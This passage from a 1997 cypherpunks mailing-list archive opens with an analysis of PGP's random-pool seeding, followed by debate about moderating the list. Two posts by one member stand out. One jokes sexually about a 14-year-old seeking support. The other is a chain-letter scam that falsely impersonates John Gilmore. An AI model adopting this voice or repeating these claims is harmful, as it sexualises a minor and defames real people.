        zero.

E.  Also from the same call of times(), the number of elapsed coarse ticks
    since boot time. The bottom byte changes somewhat faster than in the
    previous case (it is measuring elapsed rather than process time), but it
    is totally correlated with the call of clock() already made, so it adds
    nothing new.

At the end of all this, in all the systems, it XOR-es in the actual key you
typed. This is good, but you likely only typed all lower-case letters, and
probably not many punctuation or control counters, but every little helps. The
bad news is that it still adds 4 bytes to randPool, even though only one byte
is provided (see trueRandEvent()). Surely it would have been better to add
just one byte here, at least to overcome the deficiency arising from the size
of the randPool not being a prime number. Alternatively, the procedure
randPoolAddBytes could have been made to discount any zero bytes at its most
significant end.

It will be seen that the only source of true randomness in all the systems
described above is the call labeled 'C.' in each case (also the actual key
struck). Everything else is more-or-less predictable FUD. This call measures
the instant at which each keystroke occurred (possibly modulo 1000000
microseconds) using as fine a tick size as the system affords. Where the call
gives a time in microseconds rather than a tick count (systems AMIGA and UNIX)
it endeavours to determine the ticksize by experiment. It usually
overestimates it (which is safe) because the length of the measuring loop is
longer that the ticksize (for example, on a SPARC1+ running Solaris2 it
computes a ticksize of 11 microseconds, whereas the true value is believed to
be 1 microsecond).

It now computes a time delta, modulo any computed ticksize, between this call
and the previous one. Now this is a truly random estimate of the time between
keystrokes but, oddly, this value is not incorporated into randPool (but it is
represented by the absolute time of the keystroke which is so included). Since
some systems (e.g. VMS and the ATARI) use an extremely coarse tick, this delta
may contain only a few bits; so the bits in the delta are counted, and it
carries on looking at keystrokes until the cumulative value of these bits is
equal to the length of the key being generated (plus a few extra random bits
needed for other purposes). But the maximum number of bits taken from any one
keystroke is 8, so with fast systems it always demands more keystrokes than it
truly needs.

I believe that when counting the bits in delta it counts one more than it
should (the most significant bit should not be included in the count in my
opinion, since it is by definition always '1', and only serves to tell how many
bits there are). Note also that the value of delta will have a minimum (it is
impossible for the time between two keystrokes to be absolutely zero), which
is a further reason to discount one bit when counting the bits of delta (see
trueRandEvent()).


Stirring
--------

Each time the randPool wraps around, and again at the end, it is "stirred"
(see randPoolStir()). Note that stirring is a completely deterministic
process, exactly repeatable on different systems (it even converts the entire
randPool to big-endian format and back again afterwards in order to ensure
this).

Its modus operandi is to encrypt the whole randPool using the MD5 algorithm
(that's the one used for generating signatures). That is why the length of the
randPool had to be a multiple of 128 bits. It starts from a zero key (I told
you it was going to be deterministic). By the time it has got to the end of
the randPool, the last bit deposited is a function of every preceding bit. It
then encrypts it all again, so that every bit in the new randPool now
potentially depends on every bit in the original randPool. If you start with
an empty randPool, it will now appear (to the naked eye) as a complete random
mess. If you start with a randPool containing just one bit, it will appear as
a different random mess.

Finally, it takes the first 128 bits of the new randPool as the starting key
for the next stirring.

Note that the purpose of stirring is not to generate extra randomness. It is
merely to redistribute the randomness that is already there (derived from your
keystrokes). So it matters not whether the randPool is completely filled by
your keystroking, nor that the two sets of 256 bits that you extract from it
in order to make your 512-bit key are not the actual bits that you randomly
generated. Every bit that you take out is affected by every random bit that
you put in (as well as by the many non-random, predictable bits that the UNIX
systems in particular insert). So it is still possible to generate each and
every one of the possible keys, even when starting from a known time of day
and a known number of ticks since boot time.


Conclusion
----------

So is it safe? The answer seems to be Yes.

But I would have been much happier to see a more straightforward system. It
took me three days and much work examining the operation of the program with a
debugger to convince myself that most of the information being put into
randPool was mere FUD, and to identify exactly where the true required number
of random bits was actually coming from. In view of the excellent performance
of randPoolStir(), I cannot see that any of the FUD serves any useful purpose.
Well, I can see a little merit in including the time and date just once, in
case any extremely regular typist manages to get EXACTLY the same intervals
between each keystroke during her interpretation of William Tell, or unless
some other flaw is found in the system (which is also why I would like to see
the wrap-around of the randPool a little less regular, as already mentioned).

So I have at last felt it safe to generate my PGP key. And as a final check
against any wily eavesdropper who may have been compiling a complete set of
all the popular 1024-bit keys (will the universe last long enough for him to
complete his task?) I have set my key length to 820 bits. How's that for
paranoia?


-- 
Charles H. Lindsey -------------------------------------------------------------
           At Home, doing my own thing.           Internet: chl@clw.cs.man.ac.uk
Voice/Fax: +44 161 437 4506                       Janet:    chl@uk.ac.man.cs.clw
Snail: 5 Clerewood Ave., CHEADLE, SK8 3JU, U.K.   UUCP:     mucs!clerew!chl





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Fri, 10 Jan 1997 19:25:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.91.970109162541.11773A-100000@beast.brainlink.com>
Message-ID: <32D707A2.5410@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian wrote:
> 
> On Mon, 6 Jan 1997, Dale Thorn wrote:
> 
> > 1. Sandfort is the person who would never drop an argument, no matter
> >    how long, until he had the last word.  I know since I went rounds
>
> Sandfort isn't the only one who will do this, there will be a pool of
> moderators. Regardless of your personality conflict, I am sure that Sandy
> will remain fair and allow appropriate posts from you through. i.e.
> anything to do with crypto. :)

Come on, the de facto topics of this list aren't limited to crypto.

I'd just like to say that as disgusting as I find most of Dale's posts,
I consider almost all of them appropriate for the list.

[The referenced post isn't one of them, of course.]

Is the goal really to be a "best of cypherpunks," or is it just to cut out the 
most inane trolling (of which there is a lot)? While I'd classify Dale's posts 
as among "worst of cypherpunks," IMO they are all at least *of* cypherpunks.

I would not favor a moderation policy that gave carte blanche to "good guys" 
to talk about whatever they wanted ("libertarian bullshit" in Chudov's 
delicate phrasing), but required posts by "bad guys" like Dale (and in certain 
threads, me -- you never know) to be "about crypto." That's a hypocritical 
double standard.

I just want the complete crap out of the way. I was envisioning a mostly 
unfiltered cypherpunks where the traffic level remained so high that the 
filtered "best of" lists like fcpunx were still in demand.

Of course, I'm reading cypherpunks only a couple times a day via nntp, so I'm 
more tolerant of nonsense than people who want to follow the list as an email 
list. To those people I'd say sorry, but cryptography@c2.net is available. But 
I'm only one voice; the moderators can do whatever they want.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 10 Jan 1997 17:35:53 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: IMPORTANT: Additional information about UDCM.
In-Reply-To: <199701101717.JAA31508@slack.lne.com>
Message-ID: <32D708A6.4B15@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Eric Murray wrote:
 
> Unfortunately for you, the way you are announcing and promoting your
> program makes it could like cryptographic snake oil.  Posting
> such announcements to the cypherpunks list is a good way to get flamed.
> Perhaps you should have posted to alt.biz.multi-level, where the
> threshold of credulity is much higher.

  I suppose that after moderation begins, we will miss DataETRetch's
next big update, since they will take your suggestion to heart
and title their next posting, "Make Big Cryto$$$".

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Clint Barnett <cbarnett@eciad.bc.ca>
Date: Fri, 10 Jan 1997 19:38:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: nice work
Message-ID: <Pine.SGI.3.91.970110193238.26380P-100000@oswald>
MIME-Version: 1.0
Content-Type: text/plain



no doubt everybody on the list recieved a spam about some personalised 
children's books. Having been away or a few weeks, I only just today got 
to replying to that message. I recieved a response indicating that my 
response was undeliverable due to the mailbox being full. I just wanted 
to say that I'm glad I'm not the only one who can't stand that crap. Nice 
work.

clint barnett
lord of the cosmos
emily carr institute





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 10 Jan 1997 20:18:02 -0800 (PST)
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: A vote of confidence for Sandy
Message-ID: <3.0.32.19970110201859.006d14bc@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 07:14 PM 1/10/97 -0500, Ray Arachelian wrote:
>Sandfort isn't the only one who will do this, there will be a pool of 
>moderators. Regardless of your personality conflict, I am sure that Sandy 
>will remain fair and allow appropriate posts from you through. i.e. 
>anything to do with crypto. :)

Just for the record, I have volunteered to serve as a co-moderator. I do
not know at this time if my services will be required. I am certain that I
would not enjoy this job. I have better things to do than moderate
Cypherpunks. But as a long time subscriber, I care about the list. I see
only one alternative to moderating Cypherpunks. And that is shutting it
down to let other lists pick up the various parts of the discussion. Hard
core crypto can go to Coderpunks, crypto and politics can go to
Cryptography. The drivel and whining can go to hell. I am willing to give
the moderation experiment a chance. If it doesn't work, I will advocate
shutting down the list.

As with every TAZ that stays up for too long, Cypherpunks eventually got
infested by vermin. Vulis, aga, et al. come to mind. In my experience, once
that happens there is only one solution: take down the TAZ and start over
somewhere else. The problem is always the same: the belief that "anarchy"
means that you have to tolerate people shitting on everybody's floor.
Anarchy means no such thing.

[Since I filter on Vulis and aga in the body text of all incoming email, I
am unlikely to read any replies to this post. Of course, if I was to serve
as a co-moderator, I would read all messages and decide on them individually.]

Thanks,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason Burrell <jburrell@crl.crl.com>
Date: Fri, 10 Jan 1997 19:07:52 -0800 (PST)
To: Sandy Sandfort <sandfort@mail.crl.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <Pine.SUN.3.91.970108182540.10276A-100000@crl10.crl.com>
Message-ID: <Pine.LNX.3.95.970110210511.9332C-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 8 Jan 1997, Sandy Sandfort wrote:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Wed, 8 Jan 1997 ichudov@algebra.com wrote:
> 
> > Sandy Sandfort wrote:
> 
> > > Truth (and relevance) are a defense.  :-)
> > 
> > If your approval is your certification of truthfulness of articles,
> > you might be held liable for libel. Is that correct?
> 
> Gosh, I hadn't thought about that.  Maybe I should reconsider
> this whole crazy idea.

Call me crazy, but is there any way to set up an anonymous moderator
scheme? The messages hit toad.com, and are forwarded via the remailer
network to someone. The actual moderator can change from time to time. 
Only posts that aren't "preapproved" are actually forwarded to the
moderator. The moderator approves the postings by signing them with a PGP
key. It's then sent back through the network to another address at
toad.com, and passed on to the list members. 

Or does this just put toad.com in hot water?

--
Good government. Good government. Sit. Stay.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 10 Jan 1997 19:20:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: would you be my friend?
In-Reply-To: <Pine.3.89.9701101253.A11382-0100000@netcom17>
Message-ID: <3Pic1D48w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Z.B." <zachb@netcom.com> writes:

> On Fri, 10 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > dozer@netwizards.net writes:
> >
> > > Hello,
> > >
> > > I'm 14 years old and I think I may be a gay.  I'm looking for some suppor
> > > with a older male age 18-40.  Please email if you can help.
> > >
> >
> > I'm sure you'll make lots of friends on the cypherpunks mailing list.
> >
> Looks like he's already made one.

Dozer,

John Gilmore is 58 - would you consider a MUCH older man?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 10 Jan 1997 19:51:06 -0800 (PST)
To: sunder@brainlink.com (Ray Arachelian)
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.91.970109162541.11773A-100000@beast.brainlink.com>
Message-ID: <199701110345.VAA02052@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Ray Arachelian wrote:
> On Mon, 6 Jan 1997, Dale Thorn wrote:
> > 2. The only possible scheme that could work long-term would be a moderated
> >    list plus a deleted (excised?) list of posts which didn't make the
> >    moderator's cut. Having a moderated list and a full unmoderated list
> >    is certain to fail, and I'm not too sure that they don't have this in
> >    mind already.
> 
> What makes you say that there is only one scheme that can succeed?  Why is
> having a moderated list and an unmoderated list bound to fail?  The plan
> actually (unless it changed without my knowlege) is to have 3 lists.  1
> moderated, 1 rejects, 1 unmoderated.  This can be optimized as 1 moderated
> and 1 rejects as you propose, since asking for all is the same as asking
> for moderated+rejects. 

Does not the moderated list, moderated by YOU, already exist? 

I am confused.

	- Igor.

> > 3. Not making the unmoderated list first-up (i.e., cutting posts first,
> >    then making the "full" list available later) is suspicious, or at
> >    least a bad idea.
> 
> What difference does it make if a message is delayed for 10-30 minutes?  
> Why is it a bad idea or suspicious?  If you post something and it doesn't 

It is indeed suspicious because it raises a possibility of
concealed human involvement.

> The point was to optimize the sendmail to send moderated messages first.

What does that optimise if there is a more or less continuous traffic?

That's a non-answer.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 10 Jan 1997 19:51:23 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: Re: encryption program
In-Reply-To: <970110173818_1890890811@emout17.mail.aol.com>
Message-ID: <199701110346.VAA02065@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


DataETRsch@aol.com wrote:
> 
> Was your anaylsis for IMDMP or another algorithm?
> 
> Jeremy...
> President
> DataET Research
> Data Engineering Technologies
> 

For another encryption program. As soon as you release IMDMP's
algorithm, someone may be interested to do the same thing with it.

That may prove interesting.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 10 Jan 1997 20:14:59 -0800 (PST)
To: markm@voicenet.com (Mark M.)
Subject: Re: encryption program
In-Reply-To: <Pine.LNX.3.95.970110160940.705A-100000@eclipse.voicenet.com>
Message-ID: <199701110410.WAA02230@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mark M. wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Fri, 10 Jan 1997, Igor Chudov @ home wrote:
> 
> > I just wrote a little c program for frequency analysis, but would
> > also be interested if such set of tools existed.
> 
> There are several tools for cryptanalyzing simple ciphers at ftp.ox.ac.uk/pub/
> crypto/cryptanalysis and ftp.replay.com/pub/crypto/applied-crypto .  There
> is also elisp code distributed with emacs that can solve a substitution
> cipher.

Mark -- do you know what are the relevant file names?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 10 Jan 1997 22:16:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Comments on moderation
Message-ID: <3.0.1.32.19970110215712.0132d100@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


I have been reading the comments on moderation and I have a few comments on
it...

I would like to see moderation, but only for those things that filters
cannot handle effectivly.

1) The Spam that has been flooding the list.  It looks like someone has an
axe to grind against the list or certain people on it, so they are doing
their best to disrupt it.  The spam is only part of that attack.  It should
be dealt with as any other denial of service attack.

2) The anonymous flames against Tim May (or anyone else for that
matter...).  These messages contain no useful content.  They only serve to
allow certain overgrown juviniles to vent against people they dislike.

Killing the above would greatly improve the quality of the list. The rest
can be killed by filters.

As for the people who are crying "censor", I have seen little evidence that
the doom they predict is going to happen.  (I think that they revel in the
idea that they are the "persecuted masses" who are being hassled by "the
man".)  I have been on this list for a number of years.  (Since at least
1994, maybe earlier than that...) Sandy has been one of the more rational
voice on the list in that time and he has been here longer than I have.  (I
have not always agreed with him, but then again, I can think of no one that
I would agree with 100%.  Even myself...)  Hopefully the criteria used for
moderation will not be so heavy handed that the list becomes bland and
tasteless (like a high school textbook from Texas).

Just my $0.00002 worth...


---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 10 Jan 1997 22:13:50 -0800 (PST)
To: Lucky Green <sandfort@crl.com>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970110201859.006d14bc@192.100.81.126>
Message-ID: <v03007806aefcde0a5a6a@[205.186.122.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:19 PM -0800 1/10/97, Lucky Green wrote:
>Just for the record, I have volunteered to serve as a co-moderator. I do
>not know at this time if my services will be required. I am certain that I
>would not enjoy this job. I have better things to do than moderate
>Cypherpunks. But as a long time subscriber, I care about the list.

AMEN (as a short time subscriber).

If you need me as a moderator (if you need me, you are getting very
desperate), I will help.  However, I am going out of the country in two
weeks not to return until March 9, so stepping forward now is a bit silly.

Let me rant a bit about the "ideal" moderation structure.  Igor Chudov's
software lets people like Matt Blase and Bruce Schneier post whatever they
want.  (I would add people like Black Unicorn as well.  YMMV)  Other posts
go into a pool accessible to all moderators.  If one moderator approves,
the message goes out.  If N reject, it is rejected.  These rejections could
either be anonymous or be included in an x-moderators-rejecting: header for
the "worst of cypherpunks" list.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: my-yahoo@yahoo.com
Date: Fri, 10 Jan 1997 22:35:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: my yahoo! registration confirmation
Message-ID: <199701110635.WAA20002@e3.my.yahoo.com>
MIME-Version: 1.0
Content-Type: text/plain


your login name is      cypherpunks
your e-mail address is  cypherpunks@toad.com

please save this message for future reference.

welcome to my yahoo!...
you can return to my yahoo! by going to
		http://my.yahoo.com/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 10 Jan 1997 22:48:24 -0800 (PST)
To: Bill Frantz <sandfort@crl.com>
Subject: Re: A vote of confidence for Sandy
Message-ID: <3.0.32.19970110224930.006d114c@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 10:16 PM 1/10/97 -0800, Bill Frantz wrote:
>At 8:19 PM -0800 1/10/97, Lucky Green wrote:
>>Just for the record, I have volunteered to serve as a co-moderator. I do
>>not know at this time if my services will be required. I am certain that I
>>would not enjoy this job. I have better things to do than moderate
>>Cypherpunks. But as a long time subscriber, I care about the list.
>
>AMEN (as a short time subscriber).
>
>If you need me as a moderator (if you need me, you are getting very
>desperate), I will help.  However, I am going out of the country in two
>weeks not to return until March 9, so stepping forward now is a bit silly.
>
>Let me rant a bit about the "ideal" moderation structure.  Igor Chudov's
>software lets people like Matt Blase and Bruce Schneier post whatever they
>want.  (I would add people like Black Unicorn as well.  YMMV)

Yes. Igor's STUMP software seems like the way to go. The vast majority of
posters to this list are not a problem. Discussions amongst them may get
heated, but they have basic human decency and never even come close to the
level of abuse and bigotry we have seen from Vulis, aga, et al. 

Igor claims that on lists moderated by STUMP, 95% of the people are
pre-approved. I believe it. Because 95% of the posters are not a problem.
It is a small part of the other 5% that fuck things up. I second Sandy and
John's proposal to moderate Cypherpunks. I propose we use Igor's STUMP
software for this purpose, iff it performs as claimed.

[Does STUMP have a web interface?]

Thanks,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: donaldo <bogart@mps.com.mx>
Date: Fri, 10 Jan 1997 22:26:37 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: subscription request to mailing list
Message-ID: <01BBFF56.DA8A7D00@bogart.mpsnet.com.mx>
MIME-Version: 1.0
Content-Type: text/plain


please enroll me on your mailing list.


Thank You.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 11 Jan 1997 00:41:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
Message-ID: <3.0.32.19970111003625.0069d61c@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:49 PM 1/10/97 -0800, Lucky Green wrote:
>Yes. Igor's STUMP software seems like the way to go. The vast majority of
>posters to this list are not a problem. Discussions amongst them may get
>heated, but they have basic human decency and never even come close to the
>level of abuse and bigotry we have seen from Vulis, aga, et al. 

I think that the move to human moderation is a good thing, and am pleased
that Sandy will shortly begin to act as moderator.

However, I think that forming lists of "approved people" and "unapproved
people" and treating them differently is likely to do more harm than good,
even if we have nice software which does it very efficiently. I don't like
it for several reasons:

1.	Political. It's symbolically disturbing, and it tends to shift the focus
of the group (and of the moderation process) away from messages, and
towards the people who post them. I think it'd be tempting to turn it into
some sort of bureaucratic system, with punishments (being on the bad list)
and rewards and status changes and written warnings and all of the other
features which frequently bring out the worst in people. I suspect that
agreeing on "the 10 people who are clearly a problem" will turn out to be
as difficult as finding any 10 things that cypherpunks can agree on, and
then we've got to decide who decides who's a problem, and then we've got to
decide how we decide things, and argue about whether or not John Gilmore is
a good person, and [...]

2.	Technical. It requires that the people on the "good list" authenticate
their messages (otherwise people will post with the names of "good people"
to avoid moderation), which imports a lot of hassle with different
platforms and signing and certification and key distribution and [...]
which we don't have good solutions for yet.

3.	 Conceptual. It's a complex problem technically and politically, which
means that it's difficult to understand or debug, and it's got a lot of
points of failure. In general, complex solutions (which require many people
to install and learn new software) are difficult to implement, take longer
than anticipated, and are frequently avoided by the people they're
supposedly helping. (See, e.g., RISKS Digest; both for how a
human-moderated list can work nicely, and for examples of how complex
technical solutions to problems often create more or worse problems than
they solve.)

I think that the human moderator solution suffers less from these problems;
in general, it's a well-tested solution to the "what about off-topic
assholes?" problem. It's not perfect, but it does work, more or less; it's
easy to understand, easy to implement, and requires no software changes on
the users' end.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 10 Jan 1997 22:50:57 -0800 (PST)
To: joelm@eskimo.com (Joel McNamara)
Subject: Re: Private Idaho source code now available
In-Reply-To: <3.0.32.19970110072140.00d1320c@mail.eskimo.com>
Message-ID: <199701110706.BAA00685@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Private Idaho 2.8b3, a bug fix version of the popular Windows freeware PGP
> and remailer utility, is now available.  This will be my last official
> release of PI for the foreseeable future.
> Due to other projects and new directions, I haven't been able to spend as
> much time as I'd like coding and supporting Private Idaho.  Instead of
> seeing it die on the vine, I've decided to release the source code under
> the GNU General Public License (export disclaimer - the sources do not
> include, or have ever contained, cryptographic algorithms).

     I don't use, nor have I ever used your software, but thank you for 
writing it, and even more for releasing it.

Petro, Christopher C.
petro@suba.com <prefered for any non-list stuff>
snow@smoke.suba.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 10 Jan 1997 22:53:58 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: DES 128
In-Reply-To: <970110173243_2022167725@emout04.mail.aol.com>
Message-ID: <199701110709.BAA00702@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> DES 128 is a cloned version of the original DES.
> 
     Put the crack pipe down and back away slowly. 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 10 Jan 1997 23:23:08 -0800 (PST)
To: frantz@netcom.com (Bill Frantz)
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <v03007806aefcde0a5a6a@[205.186.122.248]>
Message-ID: <199701110718.BAA03084@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Bill Frantz wrote:
> 
> At 8:19 PM -0800 1/10/97, Lucky Green wrote:
> >Just for the record, I have volunteered to serve as a co-moderator. I do
> >not know at this time if my services will be required. I am certain that I
> >would not enjoy this job. I have better things to do than moderate
> >Cypherpunks. But as a long time subscriber, I care about the list.
> 
> AMEN (as a short time subscriber).
> 
> If you need me as a moderator (if you need me, you are getting very
> desperate), I will help.  However, I am going out of the country in two
> weeks not to return until March 9, so stepping forward now is a bit silly.
> 
> Let me rant a bit about the "ideal" moderation structure.  Igor Chudov's
> software lets people like Matt Blase and Bruce Schneier post whatever they
> want.  (I would add people like Black Unicorn as well.  YMMV)  Other posts
> go into a pool accessible to all moderators.  If one moderator approves,
> the message goes out.  If N reject, it is rejected.  These rejections could
> either be anonymous or be included in an x-moderators-rejecting: header for
> the "worst of cypherpunks" list.

I think that Bill proposes a very interesting idea. His suggestion would
eliminate a lot of [well-grounded] suspicion about arbitrary rejections
at a "whim" of moderators.

My only concern is that there will be more work for moderators, because
in his scheme each "bad" message has to be reviewed by N people instead
of 1.

It is a tradeoff between a more liberal policy and efficient use of
moderators' time.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 10 Jan 1997 23:21:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: $$$ MAKE.MONEY.FAST with the new Cypherpunk PGP MLM $$$
Message-ID: <H6Tc1D55w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Fellow Debtor:

Hello!  Would you like to make thousands of dollars, quickly, legally,
with NO CATCH?  Then keep reading....please take five minutes to read
this article it will change your life, just like it did mine.  It's
true!  You can make up to or over $50,000 dollars in 4-6 weeks, maybe
sooner!  I SWEAR IM NOT LYING TO YOU, AND THIS IS NOT A SCAM!  If you're
interested, keep reading; if you're not, I apologize for wasting your
time.

My name is John Gilmore. A little while ago, my life was miserable. In
September 1995 my car was repossessed and the bill collectors were
hounding me like you wouldn't believe. I was laid off and my unemployment
checks had run out. I had just moved in with my lover High and we were
$95,000 in debt! I couldn't make the payments and the bank repossessed my
car. I remember the day my lover Hugh phoned me, crying. The landlord had
shown up at the house with an eviction notice because we hadn't paid the
rent in three and a half months. We stayed at our relatives until we found
a new apartment that we could afford. Talk about embarrassing! My life
sucked, and it seemed to be getting worse every day. The only escape I had
from the pressures of failure was my computer and my modem. I longed to
turn my avocation into my vocation.

Things are different now. In January 1997 my boyfriend and I went on a
ten day cruise to the tropics. I bought a brand new Lincoln Town Car
with CASH in December 1996. I am currently building a new home in
Sausalito, with a private pool, boat slip, an a beautiful view of the
bay from my breakfast room table and patio. I will never have to work
again. Today I am RICH! I have earned over $800,000.00 (Eight Hundred
Thousand Dollars) to date and will become a millionaire within 4 or 5
months. Anyone can do the same. I own and rent out three large homes in
San francisco. My own house is worth over $450,000. My lover drives a
Mercedes and I drive a Porsche. I have more money in the bank than I
think I could ever spend! When I buy something I always pay cash, and
let me tell you, it's a powerful feeling to finally have control of my
life. I have no financial worries anymore. I couldn't ask to be happier.
My life is perfect!

Best of all, I have time to enjoy life. No more 50 and 60 hour weeks,
working two jobs, just trying to pay the bills. No more fighting with my
lover from the stress of never having enough money for grocieries. I
work about three hours a day. The rest of the time is left to have fun,
to do the things I really love. I finally have time to spend with my
family. That's better than all the money in the world! My favorite thing
is to go on picnics with my boyfriend I also like to travel. My lover
and I just got back from a three week second honeymoon in Cancun.

I'm not tryng to brag or impress you with my wealth. What I'm trying to
do is prove to you that if I wasn't lucky enough to have learned about
PGP that day, I would still be poor, probably bankrupt. It was only
because of that amazing money-making encryption program that I was able
to become debt free, and very wealthy. I hate to think of where my
boyfriend and I would have been today."

It works because of basic mathematical and statistical principles. This
process is somewhat similar to a pyramid process, only bigger and
broader. It is definitely more profitable for all who participate.

This money-making program works perfectly every time, 100% of the time.
I have NEVER failed to earn $50,000.00 or more whenever I wanted. Best
of all, you never have to leave home except to go to your mailbox or
post office.

Follow these instructions exactly and you could make $100,000 in the
next 30 days. This program REALLY works. It makes money for those who
use it honestly! Take the time to read it COMPLETELY!

First of all, yes, this is another one of those "let's try to make some
easy money fast" things that you often see on the NET. If you wish to
find out more and possibly participate, read on. If you do not believe
in this sort of thing, please move on to the next post - BUT DO NOT
FLAME ME FOR "ABUSE" OF THE NET. Fact is, this wonderful electronic
world is for the exchange of ideas and experimentation, so why not try
something new? Mathematically it works out, so it is all up to your
honesty.

This is no scam. It is perfectly legal. Forward this around to all of
your friends. Tell them to get involved too.

I know, ordinarily, we disregard these letters because they usually
don't work like they are supposed to, but this ONE is DIFFERENT!

Ray Arachelian used this legal program last year and made $82,360 in
cash the first time he used it. Needless to say, he quit his job at
Earthweb LLC immediately paid off all debts in full, and started another
mailing.

Believe me, this is an EASY opportunity. You can do this all on your
computer, by "JUST PRESSING A FEW BUTTONS". You will EASE YOUR FINANCIAL
PRESSURES, and begin to make GOOD things happen for you and your family.

Knowing public key cryptography changed my life completely. It brought
me success, wealth, happiness, anonymity, freedom and time to be with my
friends who I love. But most importantly, it gave me peace of mind. This
MLM will change your life, too! It will give you everything you need and
allow you to solve ALL your money problems. Of course, you don't have to
take my word for it. You can try it out for yourself.

This is going to sound like a con, but in fact it works! The person who
